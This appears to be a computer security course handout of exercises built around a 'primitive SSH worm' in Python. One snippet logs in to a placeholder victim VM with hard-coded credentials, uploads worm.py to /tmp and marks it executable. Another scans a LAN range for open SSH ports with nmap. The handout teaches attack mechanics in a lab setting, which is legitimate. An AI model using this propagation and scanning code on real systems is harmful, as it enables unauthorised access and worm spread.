

Please note: handouts *will not* be collected and graded. However, *you are expected to complete them*. The material on the handouts is a fair game for exams, quizzes, and assignments. It is in your best interest to use handouts during lectures. The instructor will be happy to assist you.

1. Consider the following code for implementing a primitive SSH worm in Python. Explain what each line does:

```
import paramiko

ssh = paramiko.SSHClient()

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

ssh.connect("<IP OF THE VICTIM VM>", username="cpsec", password="cpsec")

sftpClient = ssh.open_sftp()

sftpClient.put("worm.py", "/tmp/" + "worm.py")

ssh.exec_command("chmod a+x /tmp/worm.py")
```

2. In the above worm, what will happen if the `ssh.connect(...)` line fails? What code should be added in order to properly handle such scenarios?

3. Consider the following code for scanning additional hosts within your LAN. Explain what each line does?

```
import nmap

portScanner = nmap.PortScanner()

portScanner.scan('10.0.0.0/25', arguments='-p 22 -oN')

hostInfo = portScanner.all_hosts()

print hostInfo
```